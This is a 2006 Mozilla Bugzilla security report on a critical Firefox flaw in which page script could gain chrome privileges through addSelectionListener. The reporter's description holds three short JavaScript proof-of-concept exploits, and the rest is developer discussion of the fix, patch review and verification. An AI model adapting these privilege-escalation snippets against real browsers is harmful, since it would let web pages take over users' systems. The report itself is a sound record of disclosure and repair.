Last Comment Bug 336830 - Arbitrary code execution using nsISelectionPrivate.addSelectionListener()
: Arbitrary code execution using nsISelectionPrivate.addSelectionListener()
Status: RESOLVED FIXED
[sg:critical]
: fixed1.8.1, verified1.8.0.4
Product: Core
Classification: Components
Component: Security (show other bugs)
: Trunk
: x86 Windows XP
: -- normal (vote)
: ---
Assigned To: Boris Zbarsky [:bz]
:
Mentors:
Depends on:
Blocks:
  Show dependency treegraph
 
Reported: 2006-05-05 18:25 PDT by moz_bug_r_a4
Modified: 2009-07-25 10:44 PDT (History)
15 users (show)
dveditz: blocking1.7.14+
dveditz: blocking‑aviary1.0.9+
bzbarsky: blocking1.8.0.4+
See Also:
Crash Signature:
(edit)
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---


Attachments
Proposed fix (12.21 KB, patch)
2006-05-07 11:17 PDT, Boris Zbarsky [:bz]
no flags Details | Diff | Review
Patch for real... (1.53 KB, patch)
2006-05-07 11:18 PDT, Boris Zbarsky [:bz]
dveditz: review+
shaver: superreview+
dveditz: approval‑branch‑1.8.1+
timr: approval1.8.0.4+
Details | Diff | Review
1.0.x version - ready for checkin (964 bytes, patch)
2006-06-13 15:13 PDT, Alexander Sack
asac: review? (caillon)
Details | Diff | Review

Description moz_bug_r_a4 2006-05-05 18:25:58 PDT
Content script can register a content-defined SelectionListener.  And when a
user uses the Find Toolbar or chooses "Select All" from the context menu,
listener.notifySelectionChanged() is called and its caller has chrome
privileges.

On fx1.5.0.3, fx1.0.8 and moz1.7.13, window.setTimeout can be used to run
arbitrary code with chrome privileges.

  var sel = getSelection();
  sel.QueryInterface(Components.interfaces.nsISelectionPrivate);
  var l = { notifySelectionChanged : setTimeout };
  sel.addSelectionListener(l);
  l.__proto__ = window;
  document.toString = function() { return "code"; };

On the trunk, fx2.0a1 and fx1.5.0.4, setTimeout belt-and-braces (Bug 330773
Comment #20) makes the above "code" be run with content privileges.  But,
location.href setter function can be used to run code with chrome privileges.
(On the trunk, further trick is needed).

  var sel = getSelection();
  sel.QueryInterface(Components.interfaces.nsISelectionPrivate);
  var h = frames[0].location.__lookupSetter__("href");
  var l = { notifySelectionChanged : h };
  sel.addSelectionListener(l);
  l.__proto__ = frames[0].location;
  document.toString = function() { return "javascript:code"; };

On the trunk, when caller is chrome, the arguments that are passed to
listener.notifySelectionChanged() are XPCNativeWrapper.  Thus, it's necessary
to override toString method on the XPCNativeWrapped document first.

  var sel = getSelection();
  sel.QueryInterface(Components.interfaces.nsISelectionPrivate);
  var h = frames[0].location.__lookupSetter__("href");
  var l = {};
  l.notifySelectionChanged = function(doc, sel, reason) {
    try { arguments.callee.caller; return; }
    catch (e) {}
    doc.toString = function() { return "javascript:code"; };
    this.notifySelectionChanged = h;
  };
  sel.addSelectionListener(l);
  l.__proto__ = frames[0].location;
Comment 1 moz_bug_r_a4 2006-05-05 18:27:46 PDT
Created attachment 221025 [details]
testcase 1 - code execution using window.setTimeout

This works on fx1.5.0.3, fx1.0.8 and moz1.7.13.
Comment 2 moz_bug_r_a4 2006-05-05 18:29:37 PDT
Created attachment 221027 [details]
testcase 2 - code execution using location.href setter

This works on fx2.0a1, fx1.5.0.4, fx1.5.0.3, fx1.0.8 and moz1.7.13.
Comment 3 moz_bug_r_a4 2006-05-05 18:31:44 PDT
Created attachment 221028 [details]
testcase 3 - code execution using location.href setter

This works on trunk, fx2.0a1, fx1.5.0.4, fx1.5.0.3, fx1.0.8 and moz1.7.13.
Comment 4 moz_bug_r_a4 2006-05-05 18:41:35 PDT
When a user left-clicks, selects text or presses Ctrl+A, the safe context that
comes from the hidden window is used to call listener.notifySelectionChanged().

On Windows and Linux, the hidden window's url is
resource://gre/res/hiddenWindow.html.  But, on Mac, it is
chrome://global/content/hiddenWindow.xul.   Does that mean the safe context's
global object has chrome privileges on Mac?  If so, is it possible to trigger
the code execution PoCs in this bug by left-clicking, selecting text or
pressing Ctrl+A?
Comment 5 Boris Zbarsky [:bz] 2006-05-05 20:09:14 PDT
So... this method (and possibly the whole api) looks like it should just be noscript, imo.  The only script we have that uses it is the two copies of viewsource.js; we could add another API they can call (one that will check that the caller has UniversalXPConnect privileges or something).

Or would making an interface noscript be an API change?  In that case we should just change this method to do the UniversalXPConnect check and add a noscript method for all the C++ callers.
Comment 6 Mike Shaver (:shaver -- probably not reading bugmail closely) 2006-05-06 09:50:16 PDT
I don't like using [noscript] to carry security information like "not suitable for unprivileged script" -- an implementation of that interface could certainly behave appropriately in the face of an unprivileged caller.

So let's put the security checks in, but why would the C++ callers need to call something else?  They should have privs, and be able to express that (possibly with a helper to push the right principal?), I think.
Comment 7 Boris Zbarsky [:bz] 2006-05-06 12:41:22 PDT
> They should have privs

Generally speaking, in the current state of our security architecture, any C++ call to any function that does a security check against the subject principal should assume that the subject can be anything from chrome to the null principal.

You're right that helpers to push the null principal might work here.  We could do this in that case; we'd need to modify almost all callsites for this API, create the helpers for pushing the null principal, make those accessible from a variety of modules, add a fair amount of codesize, etc.  I have yet to see a decent workable mockup of this even with codesize considerations excluded.

We'd also need to document the security restrictions in the API somehow, of course, but I suppose we could use comments.

If we can find someone to do all this, on trunk and all branches, I agree it would be better than my proposal...
Comment 8 Boris Zbarsky [:bz] 2006-05-07 11:12:01 PDT
So... I can't reproduce with testcase 3 on trunk.  I get no alert, no security errors, nothing.

I'll post a patch that should fix this and even make shaver somewhat happy.  ;)  But I can't really test it well, since I can't reproduce the bug.
Comment 9 Boris Zbarsky [:bz] 2006-05-07 11:17:37 PDT
Created attachment 221219 [details] [diff] [review]
Proposed fix
Comment 10 Boris Zbarsky [:bz] 2006-05-07 11:18:32 PDT
Created attachment 221220 [details] [diff] [review]
Patch for real...
Comment 11 Mike Shaver (:shaver -- probably not reading bugmail closely) 2006-05-08 05:28:35 PDT
Comment on attachment 221220 [details] [diff] [review]
Patch for real...

sr=shaver.  I like!
Comment 12 Daniel Veditz [:dveditz] 2006-05-08 11:00:53 PDT
Comment on attachment 221220 [details] [diff] [review]
Patch for real...

>+pref("capability.policy.default.Selection.addSelectionListener", "UniversalXPConnect");
>+pref("capability.policy.default.Selection.removeSelectionListener", "UniversalXPConnect");

Is there a reason you didn't use "noAccess" like everywhere else? UniversalXPConnect already has a magic pass:
http://bonsai.mozilla.org/cvsblame.cgi?file=mozilla/caps/src/nsScriptSecurityManager.cpp&rev=1.299&mark=2893-2896#2890

I suppose doing it this way could let you check in with an obfuscated comment like "allow signed script access" and make it look like we're expanding permission, not restricting it.

r=dveditz either way though. Maybe "noAccess" on the trunk later on.
Comment 13 Tim Riley [:timr] 2006-05-08 12:19:07 PDT
Comment on attachment 221220 [details] [diff] [review]
Patch for real...

The Release Team discussed this.  It is a hi risk  security issue that is also a red flag when it lands on the trunk or 1.8.1.  We need to fix this in 1.5.0.4 now.  a=timr for drivers
Comment 14 Boris Zbarsky [:bz] 2006-05-08 13:34:04 PDT
Fixed on 1.8.0 branch.  Waiting for tree opening on the other branches.
Comment 15 Mike Schroepfer 2006-05-08 13:39:41 PDT
Bz - you can/should land for 1.8
Comment 16 Boris Zbarsky [:bz] 2006-05-08 13:45:48 PDT
Fixed on 1.8 branch too...
Comment 17 Tracy Walker [:tracy] 2006-05-09 15:12:48 PDT
verified with 1.5.0.4rc2 on Windows. all three testcases look good.
Comment 18 juan becerra [:juanb] 2006-05-09 15:16:30 PDT
I tried the three test cases on Intel Mac 1.5.0.4rc2; no problems found.
Comment 19 Boris Zbarsky [:bz] 2006-05-11 09:09:45 PDT
Fixed on trunk.
Comment 20 Alexander Sack 2006-06-13 15:13:53 PDT
Created attachment 225485 [details] [diff] [review]
1.0.x version - ready for checkin

Note You need to log in before you can comment on or make changes to this bug.